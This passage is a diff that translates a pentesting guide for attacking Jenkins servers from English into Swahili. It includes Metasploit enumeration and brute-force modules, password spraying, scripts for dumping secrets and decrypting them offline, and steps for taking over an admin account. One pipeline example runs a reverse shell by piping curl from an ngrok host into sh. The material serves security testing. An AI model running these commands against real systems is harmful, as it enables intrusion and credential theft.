**lugha za programu** na hifadhi za msimbo wa chanzo kwa kutumia pipelines. Aidha, inafanya kazi mbalimbali za kawaida za maendeleo kiotomatiki. Ingawa Jenkins haiondoi **hitaji la kuunda scripts kwa hatua binafsi**, inatoa njia ya haraka na yenye nguvu zaidi ya kuunganisha mfululizo mzima wa zana za kujenga, kujaribu, na kutekeleza kuliko mtu anavyoweza kujenga kwa urahisi kwa mikono. {{#ref}} basic-jenkins-information.md @@ -12,74 +12,68 @@ basic-jenkins-information.md ## Unauthenticated Enumeration -In order to search for interesting Jenkins pages without authentication like (_/people_ or _/asynchPeople_, this lists the current users) you can use: - +Ili kutafuta kurasa za Jenkins zinazovutia bila uthibitisho kama (_/people_ au _/asynchPeople_, hii inataja watumiaji wa sasa) unaweza kutumia: ``` msf> use auxiliary/scanner/http/jenkins_enum ``` - -Check if you can execute commands without needing authentication: - +Angalia ikiwa unaweza kutekeleza amri bila kuhitaji uthibitisho: ``` msf> use auxiliary/scanner/http/jenkins_command ``` +Bila akreditivu unaweza kuangalia ndani ya _**/asynchPeople/**_ au _**/securityRealm/user/admin/search/index?q=**_ kwa **majina ya watumiaji**. -Without credentials you can look inside _**/asynchPeople/**_ path or _**/securityRealm/user/admin/search/index?q=**_ for **usernames**. - -You may be able to get the Jenkins version from the path _**/oops**_ or _**/error**_ +Unaweza kupata toleo la Jenkins kutoka kwenye njia _**/oops**_ au _**/error**_. ![](<../../images/image (146).png>) -### Known Vulnerabilities +### Uthibitisho wa Hatari {{#ref}} https://github.com/gquere/pwn_jenkins {{#endref}} -## Login +## Ingia -In the basic information you can check **all the ways to login inside Jenkins**: +Katika taarifa za msingi unaweza kuangalia **njia zote za kuingia ndani ya Jenkins**: {{#ref}} basic-jenkins-information.md {{#endref}} -### Register +### Jisajili -You will be able to find Jenkins instances that **allow you to create an account and login inside of it. As simple as that.** +Utakuwa na uwezo wa kupata mifano ya Jenkins ambazo **zinakuruhusu kuunda akaunti na kuingia ndani yake. Rahisi kama hiyo.** -### **SSO Login** +### **SSO Ingia** -Also if **SSO** **functionality**/**plugins** were present then you should attempt to **log-in** to the application using a test account (i.e., a test **Github/Bitbucket account**). Trick from [**here**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/). +Pia ikiwa **SSO** **ufunctionality**/**plugins** zilikuwepo basi unapaswa kujaribu **kuingia** kwenye programu ukitumia akaunti ya majaribio (yaani, akaunti ya majaribio ya **Github/Bitbucket**). Njia kutoka [**hapa**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/). ### Bruteforce -**Jenkins** lacks **password policy** and **username brute-force mitigation**. It's essential to **brute-force** users since **weak passwords** or **usernames as passwords** may be in use, even **reversed usernames as passwords**. - +**Jenkins** haina **sera ya nywila** na **kuzuia brute-force ya majina ya watumiaji**. Ni muhimu **kujaribu brute-force** watumiaji kwani **nywila dhaifu** au **majina ya watumiaji kama nywila** yanaweza kutumika, hata **majina ya watumiaji yaliyogeuzwa kuwa nywila**. ``` msf> use auxiliary/scanner/http/jenkins_login ``` - ### Password spraying -Use [this python script](https://github.com/gquere/pwn_jenkins/blob/master/password_spraying/jenkins_password_spraying.py) or [this powershell script](https://github.com/chryzsh/JenkinsPasswordSpray). +Tumia [hii script ya python](https://github.com/gquere/pwn_jenkins/blob/master/password_spraying/jenkins_password_spraying.py) au [hii script ya powershell](https://github.com/chryzsh/JenkinsPasswordSpray). ### IP Whitelisting Bypass -Many organizations combine **SaaS-based source control management (SCM) systems** such as GitHub or GitLab with an **internal, self-hosted CI** solution like Jenkins or TeamCity. This setup allows CI systems to **receive webhook events from SaaS source control vendors**, primarily for triggering pipeline jobs. +Mashirika mengi yanachanganya **mifumo ya usimamizi wa chanzo wa SaaS** kama GitHub au GitLab na **ufumbuzi wa CI wa ndani, uliojitegemea** kama Jenkins au TeamCity. Mpangilio huu unaruhusu mifumo ya CI **kupokea matukio ya webhook kutoka kwa wauzaji wa chanzo wa SaaS**, hasa kwa ajili ya kuanzisha kazi za pipeline. -To achieve this, organizations **whitelist** the **IP ranges** of the **SCM platforms**, permitting them to access the **internal CI system** via **webhooks**. However, it's important to note that **anyone** can create an **account** on GitHub or GitLab and configure it to **trigger a webhook**, potentially sending requests to the **internal CI system**. +Ili kufanikisha hili, mashirika **yanapitia** **mipangilio ya IP** ya **mifumo ya SCM**, ikiruhusu kufikia **mfumo wa CI wa ndani** kupitia **webhooks**. Hata hivyo, ni muhimu kutambua kwamba **mtu yeyote** anaweza kuunda **akaunti** kwenye GitHub au GitLab na kuikamilisha ili **kuanzisha webhook**, ambayo inaweza kutuma maombi kwa **mfumo wa CI wa ndani**. -Check: [https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/](https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/) +Angalia: [https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/](https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/) ## Internal Jenkins Abuses -In these scenarios we are going to suppose you have a valid account to access Jenkins. +Katika hali hizi tutadhani una akaunti halali ya kufikia Jenkins. > [!WARNING] -> Depending on the **Authorization** mechanism configured in Jenkins and the permission of the compromised user you **might be able or not to perform the following attacks.** +> Kulingana na **mekanismu ya Uidhinishaji** iliyowekwa katika Jenkins na ruhusa ya mtumiaji aliyeathirika, **unaweza kuwa na uwezo au usiwe na uwezo wa kutekeleza mashambulizi yafuatayo.** -For more information check the basic information: +Kwa maelezo zaidi angalia taarifa za msingi: {{#ref}} basic-jenkins-information.md @@ -87,165 +81,155 @@ basic-jenkins-information.md ### Listing users -If you have accessed Jenkins you can list other registered users in [http://127.0.0.1:8080/asynchPeople/](http://127.0.0.1:8080/asynchPeople/) +Ikiwa umefikia Jenkins unaweza orodhesha watumiaji wengine waliojiandikisha katika [http://127.0.0.1:8080/asynchPeople/](http://127.0.0.1:8080/asynchPeople/) ### Dumping builds to find cleartext secrets -Use [this script](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py) to dump build console outputs and build environment variables to hopefully find cleartext secrets. - +Tumia [hii script](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py) kutupa matokeo ya console ya ujenzi na mabadiliko ya mazingira ya ujenzi ili kutumaini kupata siri za wazi. ```bash python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps cd build_dumps gitleaks detect --no-git -v ``` +### **Kuhusisha Akiba za SSH** -### **Stealing SSH Credentials** - -If the compromised user has **enough privileges to create/modify a new Jenkins node** and SSH credentials are already stored to access other nodes, he could **steal those credentials** by creating/modifying a node and **setting a host that will record the credentials** without verifying the host key: +Ikiwa mtumiaji aliyeathirika ana **mamlaka ya kutosha kuunda/kubadilisha nodi mpya ya Jenkins** na akiba za SSH tayari zimehifadhiwa ili kufikia nodi nyingine, anaweza **kuhusisha akiba hizo** kwa kuunda/kubadilisha nodi na **kuweka mwenyeji ambaye atarekodi akiba hizo** bila kuthibitisha funguo za mwenyeji: ![](<../../images/image (218).png>) -You will usually find Jenkins ssh credentials in a **global provider** (`/credentials/`), so you can also dump them as you would dump any other secret. More information in the [**Dumping secrets section**](./#dumping-secrets). +Kwa kawaida, utaweza kupata akiba za ssh za Jenkins katika **mtoa huduma wa kimataifa** (`/credentials/`), hivyo unaweza pia kuzitupa kama unavyotupa siri nyingine yoyote. Taarifa zaidi katika [**Sehemu ya Kutupa Siri**](./#dumping-secrets). -### **RCE in Jenkins** +### **RCE katika Jenkins** -Getting a **shell in the Jenkins server** gives the attacker the opportunity to leak all the **secrets** and **env variables** and to **exploit other machines** located in the same network or even **gather cloud credentials**. +Kupata **shell katika seva ya Jenkins** inampa mshambuliaji fursa ya kuhusisha **siri** zote na **mabadiliko ya mazingira** na **kufanya kazi na mashine nyingine** zilizoko katika mtandao huo au hata **kusanya akiba za wingu**. -By default, Jenkins will **run as SYSTEM**. So, compromising it will give the attacker **SYSTEM privileges**. +Kwa kawaida, Jenkins itakuwa **ikifanya kazi kama SYSTEM**. Hivyo, kuathiriwa kwake kutampa mshambuliaji **mamlaka ya SYSTEM**. -### **RCE Creating/Modifying a project** +### **RCE Kuunda/Kubadilisha mradi** -Creating/Modifying a project is a way to obtain RCE over the Jenkins server: +Kuunda/Kubadilisha mradi ni njia ya kupata RCE juu ya seva ya Jenkins: {{#ref}} jenkins-rce-creating-modifying-project.md {{#endref}} -### **RCE Execute Groovy script** +### **RCE Kutekeleza script ya Groovy** -You can also obtain RCE executing a Groovy script, which might my stealthier than creating a new project: +Unaweza pia kupata RCE kwa kutekeleza script ya Groovy, ambayo inaweza kuwa ya siri zaidi kuliko kuunda mradi mpya: {{#ref}} jenkins-rce-with-groovy-script.md {{#endref}} -### RCE Creating/Modifying Pipeline +### RCE Kuunda/Kubadilisha Pipeline -You can also get **RCE by creating/modifying a pipeline**: +Unaweza pia kupata **RCE kwa kuunda/kubadilisha pipeline**: {{#ref}} jenkins-rce-creating-modifying-pipeline.md {{#endref}} -## Pipeline Exploitation +## Ukatili wa Pipeline -To exploit pipelines you still need to have access to Jenkins. +Ili kutumia pipelines bado unahitaji kuwa na ufikiaji wa Jenkins. -### Build Pipelines +### Kujenga Pipelines -**Pipelines** can also be used as **build mechanism in projects**, in that case it can be configured a **file inside the repository** that will contains the pipeline syntax. By default `/Jenkinsfile` is used: +**Pipelines** zinaweza pia kutumika kama **mekanismu ya kujenga katika miradi**, katika kesi hiyo inaweza kuwekewa **faili ndani ya hazina** ambayo itakuwa na sintaksia ya pipeline. Kwa kawaida `/Jenkinsfile` inatumika: ![](<../../images/image (127).png>) -It's also possible to **store pipeline configuration files in other places** (in other repositories for example) with the goal of **separating** the repository **access** and the pipeline access. +Pia inawezekana **kuhifadhi faili za usanidi wa pipeline mahali pengine** (katika hazina nyingine kwa mfano) kwa lengo la **kutenganisha** ufikiaji wa hazina na ufikiaji wa pipeline. -If an attacker have **write access over that file** he will be able to **modify** it and **potentially trigger** the pipeline without even having access to Jenkins.\ -It's possible that the attacker will need to **bypass some branch protections** (depending on the platform and the user privileges they could be bypassed or not). +Ikiwa mshambuliaji ana **ufikiaji wa kuandika juu ya faili hiyo** atakuwa na uwezo wa **kuyabadilisha** na **kuzindua** pipeline bila hata kuwa na ufikiaji wa Jenkins.\ +Inawezekana kwamba mshambuliaji atahitaji **kuzidi baadhi ya ulinzi wa tawi** (kulingana na jukwaa na mamlaka za mtumiaji wanaweza kuzidiwa au la). -The most common triggers to execute a custom pipeline are: +Vichocheo vya kawaida vya kutekeleza pipeline ya kawaida ni: -- **Pull request** to the main branch (or potentially to other branches) -- **Push to the main branch** (or potentially to other branches) -- **Update the main branch** and wait until it's executed somehow +- **Ombi la kuvuta** kwenye tawi kuu (au labda kwenye matawi mengine) +- **Kusukuma kwenye tawi kuu** (au labda kwenye matawi mengine) +- **Kusasisha tawi kuu** na kusubiri hadi itekelezwe kwa namna fulani > [!NOTE] -> If you are an **external user** you shouldn't expect to create a **PR to the main branch** of the repo of **other user/organization** and **trigger the pipeline**... but if it's **bad configured** you could fully **compromise companies just by exploiting this**. +> Ikiwa wewe ni **mtumiaji wa nje** huwezi kutarajia kuunda **PR kwenye tawi kuu** la hazina ya **mtumiaji/taasisi nyingine** na **kuzindua pipeline**... lakini ikiwa ime **pangwa vibaya** unaweza kabisa **kuathiri kampuni kwa kutumia hili**. -### Pipeline RCE +### RCE ya Pipeline -In the previous RCE section it was already indicated a technique to [**get RCE modifying a pipeline**](./#rce-creating-modifying-pipeline). +Katika sehemu ya awali ya RCE tayari ilionyeshwa mbinu ya [**kupata RCE kwa kubadilisha pipeline**](./#rce-creating-modifying-pipeline). -### Checking Env variables - -It's possible to declare **clear text env variables** for the whole pipeline or for specific stages. This env variables **shouldn't contain sensitive info**, but and attacker could always **check all the pipeline** configurations/Jenkinsfiles: +### Kuangalia Mabadiliko ya Mazingira +Inawezekana kutangaza **mabadiliko ya mazingira ya maandiko wazi** kwa pipeline nzima au kwa hatua maalum. Mabadiliko haya ya mazingira **hayapaswi kuwa na taarifa nyeti**, lakini mshambuliaji anaweza kila wakati **kuangalia usanidi wote wa pipeline**/Jenkinsfiles: ```bash pipeline { - agent {label 'built-in'} - environment { - GENERIC_ENV_VAR = "Test pipeline ENV variables." - } +agent {label 'built-in'} +environment { +GENERIC_ENV_VAR = "Test pipeline ENV variables." +} - stages { - stage("Build") { - environment { - STAGE_ENV_VAR = "Test stage ENV variables." - } - steps { +stages { +stage("Build") { +environment { +STAGE_ENV_VAR = "Test stage ENV variables." +} +steps { ``` - ### Dumping secrets -For information about how are secrets usually treated by Jenkins check out the basic information: +Kwa maelezo kuhusu jinsi siri zinavyoshughulikiwa na Jenkins angalia taarifa za msingi: {{#ref}} basic-jenkins-information.md {{#endref}} -Credentials can be **scoped to global providers** (`/credentials/`) or to **specific projects** (`/job//configure`). Therefore, in order to exfiltrate all of them you need to **compromise at least all the projects** that contains secrets and execute custom/poisoned pipelines. - -There is another problem, in order to get a **secret inside the env** of a pipeline you need to **know the name and type of the secret**. For example, you try lo **load** a **`usernamePassword`** **secret** as a **`string`** **secret** you will get this **error**: +Akreditivu zinaweza **kuwekwa kwa watoa huduma wa kimataifa** (`/credentials/`) au kwa **miradi maalum** (`/job//configure`). Hivyo, ili kuhamasisha zote unahitaji **kuathiri angalau miradi yote** ambayo ina siri na kutekeleza pipelines za kawaida/za sumu. +Kuna tatizo lingine, ili kupata **siri ndani ya env** ya pipeline unahitaji **kujua jina na aina ya siri**. Kwa mfano, unajaribu **kuchaji** **`usernamePassword`** **siri** kama **`string`** **siri** utapata **kosa** hili: ``` ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected ``` - -Here you have the way to load some common secret types: - +Hapa kuna njia ya kupakia aina kadhaa za siri za kawaida: ```bash withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'USERNAME', passwordVariable: 'PASS')]) { - sh ''' - env #Search for USERNAME and PASS - ''' +sh ''' +env #Search for USERNAME and PASS +''' } withCredentials([string(credentialsId: 'flag1', variable: 'SECRET')]) { - sh ''' - env #Search for SECRET - ''' +sh ''' +env #Search for SECRET +''' } withCredentials([usernameColonPassword(credentialsId: 'mylogin', variable: 'USERPASS')]) { - sh ''' - env # Search for USERPASS - ''' +sh ''' +env # Search for USERPASS +''' } # You can also load multiple env variables at once withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'), - string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) { - sh ''' - env - ''' +string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) { +sh ''' +env +''' } ``` - -At the end of this page you can **find all the credential types**: [https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/) +Katika mwisho wa ukurasa huu unaweza **kupata aina zote za akreditivu**: [https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/) > [!WARNING] -> The best way to **dump all the secrets at once** is by **compromising** the **Jenkins** machine (running a reverse shell in the **built-in node** for example) and then **leaking** the **master keys** and the **encrypted secrets** and decrypting them offline.\ -> More on how to do this in the [Nodes & Agents section](./#nodes-and-agents) and in the [Post Exploitation section](./#post-exploitation). +> Njia bora ya **kutoa siri zote kwa wakati mmoja** ni kwa **kuathiri** mashine ya **Jenkins** (kufanya kazi na shell ya nyuma katika **node iliyo ndani** kwa mfano) na kisha **kuvuja** **funguo za mkuu** na **siri zilizofichwa** na kuzifungua bila mtandao.\ +> Zaidi kuhusu jinsi ya kufanya hivi katika [sehemu ya Nodes & Agents](./#nodes-and-agents) na katika [sehemu ya Post Exploitation](./#post-exploitation). ### Triggers -From [the docs](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers): The `triggers` directive defines the **automated ways in which the Pipeline should be re-triggered**. For Pipelines which are integrated with a source such as GitHub or BitBucket, `triggers` may not be necessary as webhooks-based integration will likely already be present. The triggers currently available are `cron`, `pollSCM` and `upstream`. - -Cron example: +Kutoka [nyaraka](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers): Mwelekeo wa `triggers` unafafanua **njia za kiotomatiki ambazo Pipeline inapaswa kuanzishwa tena**. Kwa Pipelines ambazo zimeunganishwa na chanzo kama GitHub au BitBucket, `triggers` huenda zisihitajike kwani uunganisho wa msingi wa webhooks tayari utakuwepo. Triggers zinazopatikana kwa sasa ni `cron`, `pollSCM` na `upstream`. +Mfano wa Cron: ```bash triggers { cron('H */4 * * 1-5') } ``` - Check **other examples in the docs**. ### Nodes & Agents @@ -265,48 +249,44 @@ You can enumerate the **configured nodes** in `/computer/`, you will usually fin It is **specially interesting to compromise the Built-In node** because it contains sensitive Jenkins information. To indicate you want to **run** the **pipeline** in the **built-in Jenkins node** you can specify inside the pipeline the following config: - ```bash pipeline { - agent {label 'built-in'} +agent {label 'built-in'} ``` +### Mfano kamili -### Complete example - -Pipeline in an specific agent, with a cron trigger, with pipeline and stage env variables, loading 2 variables in a step and sending a reverse shell: - +Pipeline katika wakala maalum, na kichocheo cha cron, na pipeline na hatua za mazingira, ikipakia mabadiliko 2 katika hatua na kutuma shell ya kinyume: ```bash pipeline { - agent {label 'built-in'} - triggers { cron('H */4 * * 1-5') } - environment { - GENERIC_ENV_VAR = "Test pipeline ENV variables." - } +agent {label 'built-in'} +triggers { cron('H */4 * * 1-5') } +environment { +GENERIC_ENV_VAR = "Test pipeline ENV variables." +} - stages { - stage("Build") { - environment { - STAGE_ENV_VAR = "Test stage ENV variables." - } - steps { - withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'), - string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) { - sh ''' - curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh PASS - ''' - } - } - } +stages { +stage("Build") { +environment { +STAGE_ENV_VAR = "Test stage ENV variables." +} +steps { +withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'), +string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) { +sh ''' +curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh PASS +''' +} +} +} - post { - always { - cleanWs() - } - } +post { +always { +cleanWs() +} +} } ``` - -## Arbitrary File Read to RCE +## Kusoma Faili Bila Mpangilio hadi RCE {{#ref}} jenkins-arbitrary-file-read-to-rce-via-remember-me.md @@ -326,19 +306,17 @@ jenkins-rce-creating-modifying-project.md jenkins-rce-creating-modifying-pipeline.md {{#endref}} -## Post Exploitation +## Baada ya Kutekeleza ### Metasploit - ``` msf> post/multi/gather/jenkins_gather ``` - ### Jenkins Secrets -You can list the secrets accessing `/credentials/` if you have enough permissions. Note that this will only list the secrets inside the `credentials.xml` file, but **build configuration files** might also have **more credentials**. +Unaweza kuorodhesha siri kwa kufikia `/credentials/` ikiwa una ruhusa za kutosha. Kumbuka kwamba hii itataja tu siri zilizo ndani ya faili `credentials.xml`, lakini **faili za usanidi wa ujenzi** zinaweza pia kuwa na **siri zaidi**. -If you can **see the configuration of each project**, you can also see in there the **names of the credentials (secrets)** being use to access the repository and **other credentials of the project**. +Ikiwa unaweza **kuona usanidi wa kila mradi**, unaweza pia kuona huko **majina ya siri (credentials)** yanayotumika kufikia hifadhi na **siri nyingine za mradi**. ![](<../../images/image (180).png>) @@ -350,19 +328,18 @@ jenkins-dumping-secrets-from-groovy.md #### From disk -These files are needed to **decrypt Jenkins secrets**: +Faili hizi zinahitajika ili **kufichua siri za Jenkins**: - secrets/master.key - secrets/hudson.util.Secret -Such **secrets can usually be found in**: +Siri hizo **kwa kawaida zinaweza kupatikana katika**: - credentials.xml - jobs/.../build.xml - jobs/.../config.xml -Here's a regex to find them: - +Hapa kuna regex ya kuzipata: ```bash # Find the secrets grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<" @@ -372,11 +349,9 @@ grep -lre "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<" # Secret example credentials.xml: {AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOmZ9tLYyOzTSvNoTXdvHpx/kkEbRZS9OYoqzGsIFXtg7cw==} ``` - #### Decrypt Jenkins secrets offline -If you have dumped the **needed passwords to decrypt the secrets**, use [**this script**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py) **to decrypt those secrets**. - +Ikiwa umepata **neno la siri zinazohitajika kufungua siri hizo**, tumia [**hii script**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py) **kufungua siri hizo**. ```bash python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml 06165DF2-C047-4402-8CAB-1C8EC526C115 @@ -384,23 +359,20 @@ python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn NhAAAAAwEAAQAAAYEAt985Hbb8KfIImS6dZlVG6swiotCiIlg/P7aME9PvZNUgg2Iyf2FT ``` - -#### Decrypt Jenkins secrets from Groovy - +#### Tafsiri siri za Jenkins kutoka Groovy ```bash println(hudson.util.Secret.decrypt("{...}")) ``` +### Unda mtumiaji mpya wa admin -### Create new admin user +1. Fikia faili la Jenkins config.xml katika `/var/lib/jenkins/config.xml` au `C:\Program Files (x86)\Jenkis\` +2. Tafuta neno `true` na badilisha neno **`true`** kuwa **`false`**. +1. `sed -i -e 's/truefalsetrue` na **restart Jenkins tena**. -1. Access the Jenkins config.xml file in `/var/lib/jenkins/config.xml` or `C:\Program Files (x86)\Jenkis\` -2. Search for the word `true`and change the word \*\*`true` \*\* to **`false`**. - 1. `sed -i -e 's/truefalsetrue` and **restart the Jenkins again**. - -## References +## Marejeleo - [https://github.com/gquere/pwn_jenkins](https://github.com/gquere/pwn_jenkins) - [https://leonjza.github.io/blog/2015/05/27/jenkins-to-meterpreter---toying-with-powersploit/](https://leonjza.github.io/blog/2015/05/27/jenkins-to-meterpreter---toying-with-powersploit/) @@ -410,7 +382,3 @@ println(hudson.util.Secret.decrypt("{...}")) - [https://medium.com/@Proclus/tryhackme-internal-walk-through-90ec901926d3](https://medium.com/@Proclus/tryhackme-internal-walk-through-90ec901926d3) {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md b/src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md index 6e62a8536..f4b98938f 100644 --- a/src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md +++ b/src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md @@ -6,48 +6,48 @@ ### Username + Password -The most common way to login in Jenkins if with a username or a password +Njia ya kawaida zaidi ya kuingia kwenye Jenkins ni kwa kutumia jina la mtumiaji au nenosiri. ### Cookie -If an **authorized cookie gets stolen**, it ca be used to access the session of the user. The cookie is usually called `JSESSIONID.*`. (A user can terminate all his sessions, but he would need to find out first that a cookie was stolen). +Ikiwa **cookie iliyoidhinishwa inapatikana**, inaweza kutumika kufikia kikao cha mtumiaji. Cookie hiyo kwa kawaida inaitwa `JSESSIONID.*`. (Mtumiaji anaweza kumaliza vikao vyake vyote, lakini itabidi ajue kwanza kwamba cookie ilipatikana). ### SSO/Plugins -Jenkins can be configured using plugins to be **accessible via third party SSO**. +Jenkins inaweza kuundwa kwa kutumia plugins ili iweze **kupatikana kupitia SSO ya upande wa tatu**. ### Tokens -**Users can generate tokens** to give access to applications to impersonate them via CLI or REST API. +**Watumiaji wanaweza kuunda tokens** ili kutoa ufikiaji kwa programu kujiwakilisha kupitia CLI au REST API. ### SSH Keys -This component provides a built-in SSH server for Jenkins. Itā€™s an alternative interface for the [Jenkins CLI](https://www.jenkins.io/doc/book/managing/cli/), and commands can be invoked this way using any SSH client. (From the [docs](https://plugins.jenkins.io/sshd/)) +Kipengele hiki kinatoa seva ya SSH iliyojengwa ndani kwa Jenkins. Ni kiolesura mbadala kwa [Jenkins CLI](https://www.jenkins.io/doc/book/managing/cli/), na amri zinaweza kutolewa kwa njia hii kwa kutumia mteja yeyote wa SSH. (Kutoka kwenye [docs](https://plugins.jenkins.io/sshd/)) ## Authorization -In `/configureSecurity` it's possible to **configure the authorization method of Jenkins**. There are several options: +Katika `/configureSecurity` inawezekana **kuunda njia ya kuidhinisha ya Jenkins**. Kuna chaguzi kadhaa: -- **Anyone can do anything**: Even anonymous access can administrate the server -- **Legacy mode**: Same as Jenkins <1.164. If you have the **"admin" role**, you'll be granted **full control** over the system, and **otherwise** (including **anonymous** users) you'll have **read** access. -- **Logged-in users can do anything**: In this mode, every **logged-in user gets full control** of Jenkins. The only user who won't have full control is **anonymous user**, who only gets **read access**. -- **Matrix-based security**: You can configure **who can do what** in a table. Each **column** represents a **permission**. Each **row** **represents** a **user or a group/role.** This includes a special user '**anonymous**', which represents **unauthenticated users**, as well as '**authenticated**', which represents **all authenticated users**. +- **Mtu yeyote anaweza kufanya chochote**: Hata ufikiaji wa kutokuwa na jina unaweza kusimamia seva. +- **Hali ya urithi**: Sawasawa na Jenkins <1.164. Ikiwa una **"nafasi ya admin"**, utapewa **udhibiti kamili** juu ya mfumo, na **vinginevyo** (ikiwemo **watumiaji wasiojulikana**) utakuwa na **ufikiaji wa kusoma**. +- **Watumiaji walioingia wanaweza kufanya chochote**: Katika hali hii, kila **mtumiaji aliyeingia anapata udhibiti kamili** wa Jenkins. Mtumiaji pekee ambaye hatakuwa na udhibiti kamili ni **mtumiaji asiyejulikana**, ambaye anapata tu **ufikiaji wa kusoma**. +- **Usalama wa msingi wa Matrix**: Unaweza kuunda **nani anaweza kufanya nini** katika jedwali. Kila **safu** inawakilisha **idhini**. Kila **mstari** **unawakilisha** **mtumiaji au kundi/nafasi.** Hii inajumuisha mtumiaji maalum '**asiyejulikana**', ambaye anawakilisha **watumiaji wasio na uthibitisho**, pamoja na '**uthibitishwa**', ambaye anawakilisha **watumiaji wote walio na uthibitisho**. ![](<../../images/image (149).png>) -- **Project-based Matrix Authorization Strategy:** This mode is an **extension** to "**Matrix-based security**" that allows additional ACL matrix to be **defined for each project separately.** -- **Role-Based Strategy:** Enables defining authorizations using a **role-based strategy**. Manage the roles in `/role-strategy`. +- **Mkakati wa Uidhinishaji wa Msingi wa Mradi:** Hali hii ni **nyongeza** kwa "**Usalama wa msingi wa Matrix**" inayoruhusu ACL ya ziada kuundwa **kwa kila mradi tofauti.** +- **Mkakati wa Kazi:** Inaruhusu kuunda idhini kwa kutumia **mkakati wa kazi**. Simamia nafasi katika `/role-strategy`. ## **Security Realm** -In `/configureSecurity` it's possible to **configure the security realm.** By default Jenkins includes support for a few different Security Realms: +Katika `/configureSecurity` inawezekana **kuunda eneo la usalama.** Kwa kawaida Jenkins inajumuisha msaada wa maeneo kadhaa tofauti ya Usalama: -- **Delegate to servlet container**: For **delegating authentication a servlet container running the Jenkins controller**, such as [Jetty](https://www.eclipse.org/jetty/). -- **Jenkinsā€™ own user database:** Use **Jenkinsā€™s own built-in user data store** for authentication instead of delegating to an external system. This is enabled by default. -- **LDAP**: Delegate all authentication to a configured LDAP server, including both users and groups. -- **Unix user/group database**: **Delegates the authentication to the underlying Unix** OS-level user database on the Jenkins controller. This mode will also allow re-use of Unix groups for authorization. +- **Delegates kwa kontena la servlet**: Kwa **kuhamasisha uthibitisho kwa kontena la servlet linaloendesha Jenkins controller**, kama [Jetty](https://www.eclipse.org/jetty/). +- **Hifadhidata ya mtumiaji ya Jenkins:** Tumia **hifadhidata ya mtumiaji iliyojengwa ndani ya Jenkins** kwa uthibitisho badala ya kuhamasisha kwa mfumo wa nje. Hii imewezeshwa kwa kawaida. +- **LDAP**: Hamisha uthibitisho wote kwa seva ya LDAP iliyowekwa, ikiwa ni pamoja na watumiaji na makundi. +- **Hifadhidata ya mtumiaji/kundi ya Unix**: **Inahamisha uthibitisho kwa hifadhidata ya mtumiaji ya Unix** kwenye Jenkins controller. Hali hii pia itaruhusu matumizi ya makundi ya Unix kwa idhini. -Plugins can provide additional security realms which may be useful for incorporating Jenkins into existing identity systems, such as: +Plugins zinaweza kutoa maeneo ya usalama ya ziada ambayo yanaweza kuwa muhimu kwa kuingiza Jenkins katika mifumo ya utambulisho iliyopo, kama vile: - [Active Directory](https://plugins.jenkins.io/active-directory) - [GitHub Authentication](https://plugins.jenkins.io/github-oauth) @@ -55,31 +55,31 @@ Plugins can provide additional security realms which may be useful for incorpora ## Jenkins Nodes, Agents & Executors -Definitions from the [docs](https://www.jenkins.io/doc/book/managing/nodes/): +M definitions kutoka kwenye [docs](https://www.jenkins.io/doc/book/managing/nodes/): -**Nodes** are the **machines** on which build **agents run**. Jenkins monitors each attached node for disk space, free temp space, free swap, clock time/sync and response time. A node is taken offline if any of these values go outside the configured threshold. +**Nodes** ni **mashine** ambazo **wakala wa kujenga** zinaendesha. Jenkins inafuatilia kila node iliyoambatanishwa kwa ajili ya nafasi ya diski, nafasi ya muda ya bure, kubadilishana bure, muda wa saa/sawazisha na muda wa majibu. Node inachukuliwa kuwa nje ya mtandao ikiwa mojawapo ya hizi thamani inatoka nje ya kigezo kilichowekwa. -**Agents** **manage** the **task execution** on behalf of the Jenkins controller by **using executors**. An agent can use any operating system that supports Java. Tools required for builds and tests are installed on the node where the agent runs; they can **be installed directly or in a container** (Docker or Kubernetes). Each **agent is effectively 